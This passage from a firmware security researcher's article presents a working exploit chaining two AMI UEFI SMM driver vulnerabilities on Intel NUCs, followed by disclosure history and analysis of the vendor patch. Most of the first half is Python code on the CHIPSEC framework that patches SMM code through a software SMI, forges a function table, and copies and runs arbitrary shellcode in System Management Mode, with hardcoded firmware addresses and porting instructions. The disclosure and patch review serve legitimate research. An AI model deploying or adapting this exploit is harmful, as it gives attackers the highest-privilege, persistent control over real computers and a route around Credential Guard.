As you can see, sub_8B6EDF38() and sub_8B6EDD0() altogether provide legit mechanism to call any function present in off_8B6EBF28 array with any amount of fully controlled arguments between 0 and 7. This unbelievably awesome gift from AMI devs allows attacker to not mess with any ROP chains and other complicated things. With proper patching of the sub_8B6EDF38() code it will be possible to call almost any function that exists inside of any loaded SMM drivers in absolutely natural way! For example, attacker can execute memcpy() to deliver his code into SMRAM or, even better, he can implement the whole payload logic outside of SMRAM and use patched sub_8B6EDF38() to call needed functions of existing SMM protocols. It will allow us to do pretty much everything that might be needed to do in SMM without having our own code that runs in SMM.
Let’s check assembly code of sub_8B6EDF38() function that we’re going to patch:
seg000:000000008B6EDF38 sub_8B6EDF38 proc near seg000:000000008B6EDF38 40 53 push rbx seg000:000000008B6EDF3A 48 83 EC 20 sub rsp, 20h seg000:000000008B6EDF3E 44 8B 41 0B mov r8d, [rcx+0Bh] seg000:000000008B6EDF42 48 8B D9 mov rbx, rcx seg000:000000008B6EDF45 0F B6 49 01 movzx ecx, byte ptr [rcx+1] seg000:000000008B6EDF49 48 8B 53 03 mov rdx, [rbx+3] seg000:000000008B6EDF4D 48 8D 05 D4 DF+ lea rax, cs:off_8B6E7F28 seg000:000000008B6EDF54 41 83 C0 03 add r8d, 3 seg000:000000008B6EDF58 48 8B 0C C8 mov rcx, [rax+rcx*8] seg000:000000008B6EDF5C 41 83 E0 FC and r8d, 0FFFFFFFCh seg000:000000008B6EDF60 E8 6B FE FF FF call sub_8B6EDDD0 seg000:000000008B6EDF65 C6 43 02 00 mov byte ptr [rbx+2], 0 seg000:000000008B6EDF69 48 89 43 0F mov [rbx+0Fh], rax seg000:000000008B6EDF6D 48 83 C4 20 add rsp, 20h seg000:000000008B6EDF71 5B pop rbx seg000:000000008B6EDF72 C3 retn seg000:000000008B6EDF72 sub_8B6EDF38 endp
LEA instruction at address 0x8B6E7F4D is copying the address of array into the RAX register, it has machine code 48 8D 05 D4 DF FF FF. Using vulnerability in SW SMI handler of NvmeSmm driver we can turn its code into the 48 8D 05 07 07 07 FF, so, patched instruction will use second argument with value 0x8B6E7F4D + 0xFF070707 + 7 == 0x8A75E65B instead of original 0x8B6EBF28. At physical address 0x8A75E65B (located outside of SMRAM obviously) attacker needs to allocate a fake array with, for example, memcpy() address. Then it will be possible to use SW SMI handler of patched UsbRt driver to call memcpy() function (located inside SMRAM obviously) with arbitrary arguments by its address that was fetched from fake array.
I made an explainable picture where you can see visual representation of UsbRt driver execution flow starting from sub_8B6EDF38() function before and after its patching:
Reliability of this exploitation scenario depends on two addresses that must be hardcoded into the exploit code for each possible combination of computer model and firmware version:
- Physical address of LEA instruction of UsbRt SMM driver to patch.
- Physical address of memcpy() function located inside any loaded SMM driver.
Now its time to write some code. As usual, I decided to implement this PoC on the top of CHIPSEC framework API. Here’s the code that initializes CHIPSEC as library and provides more convenient wrapper for needed chipsec.hal classes:
import sys, os, random from struct import pack, unpack from hexdump import hexdump SMRAM_SIZE = 0x400000 SMRAM_ADDR = 0x8B400000 align_up = lambda a, b: a + (b - (a % b)) class Chipsec(object): def __init__(self): import chipsec.chipset import chipsec.hal.physmem import chipsec.hal.interrupts # initialize CHIPSEC self.cs = chipsec.chipset.cs() self.cs.init(None, True) # get instances of required classes self.mem = chipsec.hal.physmem.Memory(self.cs) self.ints = chipsec.hal.interrupts.Interrupts(self.cs) # CHIPSEC has no physical memory read/write methods for quad words def read_physical_mem_qword(self, addr): return unpack('Q', self.mem.read_physical_mem(addr, 8))[0] def write_physical_mem_qword(self, addr, val): self.mem.write_physical_mem(addr, 8, pack('Q', val)) def mem_alloc(self, data, size = None): if not isinstance(data, basestring): size = data data = None if size is None: size = align_up(len(data), 0x100) _, addr = self.mem.alloc_physical_mem(size) self.mem.write_physical_mem(addr, size, '\0' * size) if data is not None: self.mem.write_physical_mem(addr, len(data), data) return addr
To write 0x07 value into arbitrary physical memory location I decided to use NvmeSmm driver vulnerability, here’s the function that performs its exploitation (to overwrite second argument of LEA instruction we are going to call it three times for the three different bytes):
# NvmeSmm SW SMI handler number NVME_SMI_NUM = 0x42 def overwrite_with_0x07(addr): addr -= 2 # backup memory contents val_0 = cs.mem.read_physical_mem_word(EBDA_ADDR) # overwrite EBDA word cs.mem.write_physical_mem_word(EBDA_ADDR, 0) addr_1 = (0 << 4) + 0x0104 val_1 = cs.mem.read_physical_mem_dword(addr_1) # write pointer value cs.mem.write_physical_mem_dword(addr_1, addr) print('Trigerring SW SMI 0x%x to overwrite byte at 0x%x with 7...' % \ (NVME_SMI_NUM, addr + 2)) # fire SMI cs.ints.send_SW_SMI(0, NVME_SMI_NUM, 0, 0, 0, 0, 0, 0, 0) # restore overwritten memory cs.mem.write_physical_mem_dword(addr_1, val_1) cs.mem.write_physical_mem_word(EBDA_ADDR, val_0)
Now let’s write main part of exploit code that overwrites LEA instruction argument, allocates fake functions array and fires patched SW SMI handler of UsbRt driver to execute caller specified SMM function with needed arguments:
EBDA_ADDR = 0x040E # UsbRt SW SMI handler number USBRT_SMI_NUM = 0x31 # what BIOS version to exploit BIOS_VER = 0 BIOS_VERSIONS = [ # version name address of memcpy() address of instruction to patch ( 'SYSKLi35.86A.0045', 0x8B702110, 0x8B6EDF4D ) ] BIOS_VER, MEMCPY_ADDR, PATCH_INSN_ADDR = BIOS_VERSIONS[BIOS_VER] PATCH_INSN_LEN = 7 def smm_call(func_addr, func_args = None): FUNC_TABLE = PATCH_INSN_ADDR + PATCH_INSN_LEN - (0xFFFFFFFF - 0xFF070707 + 1) FUNC_TABLE_SIZE = 7 # internal function numbers for UsbRt SW SMI handler USBRT_PROC = 0x2E USBRT_SUB_PROC = 0x00 args = [] if func_args is None else func_args args_addr = 0x00000500 args_len = len(args) print('Target "lea reg, func_table" instruction to patch is at 0x%.8x' % \ PATCH_INSN_ADDR) # patch function table offset from 0xFFFFxxxx to 0xFF070707 overwrite_with_0x07(PATCH_INSN_ADDR + 3) overwrite_with_0x07(PATCH_INSN_ADDR + 4) overwrite_with_0x07(PATCH_INSN_ADDR + 5) # backup memory contents val_0 = cs.mem.read_physical_mem_word(EBDA_ADDR) val_1 = cs.mem.read_physical_mem(FUNC_TABLE, 8 * FUNC_TABLE_SIZE) val_2 = cs.mem.read_physical_mem(args_addr, 8 * args_len) # SMM handler communication structure with input data data = pack('=BBBQIQ', USBRT_PROC, USBRT_SUB_PROC, 0xFF, args_addr, 8 * args_len, 0) addr_1 = (0x10 << 4) + 0x0104 data_1 = cs.mem.read_physical_mem_dword(addr_1) addr_2 = 0x00000300 data_2 = cs.mem.read_physical_mem(addr_2, 0x20) print('%d function arguments are at 0x%.8x' % (args_len, args_addr)) print('Fake functions table address is 0x%.8x' % FUNC_TABLE) print('SMM communication buffer address is at 0x%.8x' % addr_1) print('SMM communication buffer is at 0x%.8x' % addr_2) # write usb communication strucutre cs.mem.write_physical_mem(addr_2, len(data_2), '\0' * len(data_2)) cs.mem.write_physical_mem(addr_2, len(data), data) # write usb communication strucutre address cs.mem.write_physical_mem_dword(addr_1, addr_2) # write function arguments for i in range(0, len(args)): cs.write_physical_mem_qword(args_addr + (8 * i), args[i]) # write fake functions table for i in range(0, FUNC_TABLE_SIZE): cs.write_physical_mem_qword(FUNC_TABLE + (8 * i), func_addr) # overwrite EBDA word cs.mem.write_physical_mem_word(EBDA_ADDR, 0x10) print('Triggering SW SMI 0x%x...' % USBRT_SMI_NUM) # fire SMI cs.ints.send_SW_SMI(0, USBRT_SMI_NUM, 0, 0, 0, 0, 0, 0, 0) # check for status code returned by SW SMI handler val_3 = cs.mem.read_physical_mem_byte(addr_2 + 3) val_4 = cs.read_physical_mem_qword(addr_2 + 0xf) assert val_3 == 0 # restore overwritten memory cs.mem.write_physical_mem(addr_2, len(data_2), data_2) cs.mem.write_physical_mem_dword(addr_1, data_1) cs.mem.write_physical_mem(args_addr, len(val_2), val_2) cs.mem.write_physical_mem(FUNC_TABLE, len(val_1), val_1) cs.mem.write_physical_mem_word(EBDA_ADDR, val_0) print('SUCESS: SMM function 0x%.8x was called' % func_addr) return val_4
Now we can use smm_call() function to implement other useful payloads and primitives. For example, here’s the function that executes caller specified machine code in System Management Mode:
smm_memcpy = lambda src, dst, size: smm_call(MEMCPY_ADDR, [ src, dst, size ]) def execute_shellcode(code, args): addr = SMRAM_ADDR + 0x1000 code = ''.join(code) if isinstance(code, list) else code # align shellcode size by 0x100 size = align_up(len(code), 0x100) code = code + '\0' * (size - len(code)) # allocate temporary destination buffer for memcpy() call _, buff_addr = cs.mem.alloc_physical_mem(size) cs.mem.write_physical_mem(buff_addr, size, code) print('Copying %d bytes of the shellcode from 0x%.8x to 0x%.8x' % \ (size, buff_addr, addr)) # copy shellcode into SMRAM smm_memcpy(addr, buff_addr, size) print('Executing shellcode...') # call the shellcode return smm_call(addr, args)
To make my Aptiocalypsis exploit a bit more useful as standalone firmware reverse engineering tool, I wrote some code that allows to dump physical memory contents. Here’s how to use it from command line:
# python aptiocalypsis.py [<dump_address> <dump_size> [dest_file_path]]
When it was started without command line, it checks whether it’s possible to exploit NvmeSmm driver vulnerability on current platform. In other case it dumps specified region of physical memory into the file or prints its hexadecimal dump into the stdout if dest_file_path argument was not specified.
Using aptiocalypsys.py to dump whole SMRAM contents into the file:
Having fun with Aptiocalypsis exploit. |
As you can see — the code works just fine. It was tested on several 6-th generation Intel NUCs with firmware version SYSKLi35.86A.0045 from 27.05.2016 (latest one at that moment). To port this exploit to any other vulnerable firmware from AMI you have to perform reverse engineering process explained in this article and add constants for your firmware version into BIOS_VERSIONS array.
Aptiocalypsis exploit is the first publicly demonstrated successful attempt of breaking SMM_Code_Chk_En security feature and I need to admit that it was easy. However, I believe that it still might be useful to mitigate some other vulnerabilities, in general this security feature looks pretty sane and there’s no excuses for the firmware developers not to have its support in their products. Also, it will be interesting to know about existence of other computers that use SMM_Code_Chk_En, so, any information related to this question is welcome.
Patch analysis
As it was said at the beginning of the article — to try something new I decided to do responsible disclosure of four AMI and ItkSmmVars 0day vulnerabilities to Intel. Why Intel? Well, for me it’s more convenient to have a single communication point with this industry, and the platform vendor looks like the best available option so far.
I sent my reports to Intel Platform Security and Incident Response Team at 15.07.2016 and after several working days and short e-mail conversation both Intel and AMI confirmed all of the security issues. Intel decided to release a single advisory INTEL-SA-00057 to cover all four vulnerabilities. Fixed firmware for my NUC of version SYSKLi35.86A.0051 was released at 10.08.2016 — not bad, especially as for the job that requires coordinated work of two different companies.
So, let’s download patched firmware (I took more recent SYSKLi35.86A.0052 released at 10.09.2016) and check the code of, for example, UsbRt driver SW SMI handler:
__int64 __cdecl sub_1B34(EFI_HANDLE DispatchHandle, VOID *Context, VOID *CommBuffer, UINTN *CommBufferSize) { __int64 v4; // rbx@1 VOID *SomeStruct; // rdi@1 unsigned __int8 v6; // al@7 v4 = qword_177E8; SomeStruct = *(VOID **)(qword_177E8 + 0x6D78); if (SomeStruct) { *(_QWORD *)(qword_177E8 + 0x6D78) = 0; } else { if (*(_BYTE *)(qword_177E8 + 8) & 0x10) { return 0; } // get pointer to the attacker controlled structure SomeStruct = (VOID *)*(_DWORD *)(*(unsigned int *)0x40E * 0x10 + 0x104); // // Check if it points into the SMRAM, this function call is actually // new one that was added in the most recent version. // if (sub_17268(SomeStruct, 0x44) < 0) { // structure address points into the SMRAM, exit return 0; } *(_BYTE *)(qword_177E8 + 0x71B0) = 1; } if (!SomeStruct) { return 0; } // read byte form the beginning of the structure v6 = *SomeStruct; if (!*SomeStruct) { goto LABEL_11; } // some checks to prevent array index overrun if (v6 >= 0x20 && v6 <= 0x38) { v6 -= 0x1F; LABEL_11: // // Use readed byte as index to call child function which // address is stored in array. // off_DF0[(unsigned __int64)v6](vSomeStruct, &off_DF0, CommBuffer, CommBufferSize); v4 = qword_177E8; } if (!*(_QWORD *)(v4 + 0x6D78)) { *(_BYTE *)(v4 + 0x71B0) = 0; } return 0; }
As you can see, now this function has a new call to the sub_17268() which is obviously used to verify structure pointer obtained from attacker controllable memory location.
Here’s the sub_17268() code, it accepts memory address as first argument and its size as second. From function control flow we can suggest that it checks whether specified memory range overlaps any known SMRAM location:
signed __int64 __cdecl sub_17268(void *Address, void *Size) { unsigned __int64 v2; // r8@1 signed __int64 result; // rax@2 unsigned __int64 v4; // rbx@3 EFI_SMRAM_DESCRIPTOR *v5; // r10@6 unsigned __int64 v6; // rdx@7 v2 = 0; if (SmramDescriptorCount) { v4 = Size + Address; if (Size + Address >= Address) { if (SmramDescriptorCount <= 0) { LABEL_12: // ok, specified memory location is allowed result = 0; } else { v5 = SmramDescriptor; // enumerate available SMRAM descriptors while (1) { v6 = v5->PhysicalSize; // verify buffer address against this SMRAM region if (Address < v5->PhysicalStart) { goto LABEL_17; } if (Address < v6 + v5->CpuStart) { break; } if (Address < v6 ) { LABEL_17: if (v4 > v6) { break; } } // go to the next SMRAM descriptor ++v2; ++v5; if (v2 >= SmramDescriptorCount) { // last descriptor reached goto LABEL_12; } } result = 0x800000000000000F; } } else { result = 0x8000000000000002; } } else { result = 0x800000000000000E; } return result; }
Function sub_17268() uses array of standard EFI_SMRAM_DESCRIPTOR structures with the information about SMRAM regions stored in global variable off_17798 (I renamed it to SmramDescriptor). Other global variable off_177A0 (SmramDescriptorCount correspondingly) contains total number of known SMRAM regions. Here’s SMRAM descriptor structure definition from public EFI header files:
// // Structure describing a SMRAM region and its accessibility attributes. // typedef struct { // // Designates the physical address of the SMRAM in memory. This view of memory is // the same as seen by I/O-based agents, for example, but it may not be the address seen // by the processors. // EFI_PHYSICAL_ADDRESS PhysicalStart; // // Designates the address of the SMRAM, as seen by software executing on the // processors. This address may or may not match PhysicalStart. // EFI_PHYSICAL_ADDRESS CpuStart; // // Describes the number of bytes in the SMRAM region. // UINT64 PhysicalSize; // // Describes the accessibility attributes of the SMRAM. These attributes include the // hardware state (e.g., Open/Closed/Locked), capability (e.g., cacheable), logical // allocation (e.g., allocated), and pre-use initialization (e.g., needs testing/ECC // initialization). // UINT64 RegionState; } EFI_SMRAM_DESCRIPTOR;
Function sub_17268() is also being called form other locations of UsbRt driver, it seems that AMI uses it to filter attacker controllable pointers in many of child functions that might be called from SW SMI handler code:
References to memory validation function. |
Function sub_FFC() that runs upon SMM driver load (its call is located near the driver entry point) is responsible for initialization of SMRAM regions information needed by the sub_17268(). It obtains this information in a pretty usual way: by calling GetCapabilities() function of the EFI_SMM_ACCESS2_PROTOCOL defined in UEFI specs. Array of EFI_SMRAM_DESCRIPTOR structures itself is located in System Management Mode pool allocated with SmmAllocatePool() function of the EFI_SMM_SYSTEM_TABLE2:
int __fastcall sub_FFC(EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE *SystemTable) { EFI_BOOT_SERVICES *v2; // rax@1 signed __int64 v3; // rax@3 __int64 v4; // rax@7 char v6; // [sp+30h] [bp+8h]@1 unsigned __int64 v7; // [sp+38h] [bp+10h]@4 EFI_SMM_ACCESS2_PROTOCOL *SmmAccess2; // [sp+40h] [bp+18h]@3 v2 = SystemTable->BootServices; gImage = ImageHandle; gST = SystemTable; gBS = v2; // locate EFI_SMM_BASE2_PROTOCOL v2->LocateProtocol(gEfiSmmBase2ProtocolGuid, 0, &SmmBase2); // check if we running in SMM SmmBase2->InSmm(SmmBase2, &v6); if (v6) { // locate EFI_SMM_SYSTEM_TABLE2 SmmBase2->GetSmstLocation(SmmBase2, &gSmst); } byte_177D8 = 0; // locate EFI_SMM_BASE2_PROTOCOL v3 = gBS->LocateProtocol(gEfiSmmAccess2ProtocolGuid, 0, &SmmAccess2); if (v3 >= 0) { v7 = 0; // query SMRAM descriptors size v3 = SmmAccess2->GetCapabilities(SmmAccess2, &v7, 0); if (v3 == 0x8000000000000005) { // allocate buffer for SMRAM descriptors v3 = gSmst->SmmAllocatePool(6, v7, &SmramDescriptor); if (v3 >= 0) { // query SMRAM descriptors contents v4 = SmmAccess2->GetCapabilities(SmmAccess2, &v7, SmramDescriptor); if (v4 >= 0) { // calculate the actual number of returned descriptors by their size v3 = v7 >> 5; SmramDescriptorCount = v7 >> 5; return v3; } v3 = gSmst->SmmFreePool(SmramDescriptor); } SmramDescriptor = 0; } } return v3; }
Other patched drivers of the new Intel NUC firmware, NvmeSmm, SdioSmm and even ItkSmmVars have absolutely the same code to verify attacker controllable pointers against known SMRAM regions, it seems that Intel and AMI had worked on this patch together.
How good is this patch? Well, it depends on what do you mean under "good". It prevents arbitrary System Management Mode code execution, so, attacker will not be able to elevate his privileges from ring 0 to ring -2 (SMM) on patched firmware versions. However, security of UEFI SMM drivers from platform firmware can affect security mechanisms of operating system that runs on this platform. In "Exploiting SMM callout vulnerabilities in Lenovo firmware" article I’ve told that SMM vulnerabilities might be used to break Windows 10 Enterprise security feature called Credential Guard — it protects domain credentials stored in the RAM even when attacker managed to get full privileges (ring 3 + ring 0 code execution) on target host. Credential Guard is implemented on the top of other Windows 10 feature called Virtual Secure Mode (VSM). VSM works as protected virtual machine (aka secure world) that runs on the top of the Hyper-V separately from host Windows 10 system and its kernel (aka normal world). VSM has its own isolated kernel mode and user mode, on Credential Guard enabled systems part of Local Security Subsystem Service (LSASS) is responsible for keeping domain credentials running as isolated user mode process inside VSM. Obviously, UEFI SMM drivers have no any clue about the hypervisor: validation of attacker controlled pointers in fixed versions of Intel and AMI drivers prohibits overwriting of SMRAM region only, so, attacker still can write various constant values into the memory that belongs to the Hyper-V. It might be used for escaping from normal world to secure world and breaking Windows Credential Guard and others VSM powered security features. There’s a great whitepaper "Analysis of the attack surface of Windows 10 virtualization based security" by Rafal Wojtczuk, check it out for more detailed information about attacks on Credential Guard. It’s also necessary to clarify that described attack can’t be performed from regular virtualized guest domains of the Hyper-V because they prohibit access to 0xB2 I/O port that is needed to fire vulnerable SW SMI handlers.
Writing proper security fixes for broken UEFI SMM drivers is actually more complicated than it looks, I hope that Intel and AMI will find some way to make UsbRt, NvmeSmm, SdioSmm and ItkSmmVars code more secure to prevent bypassing Windows 10 Virtual Secure Mode. For example, it’s possible to use buffers with preallocated physical addresses for SW SMI handlers input, or move these buffers below first megabyte of physical memory space.
Source code of Aptiocalipsys exploit is available on its GitHub repository, at this moment it seems that Intel is the only one OEM company which released advisory and fixes for these vulnerabilities. Probably, in some future we’ll see information about vulnerable products from other vendors.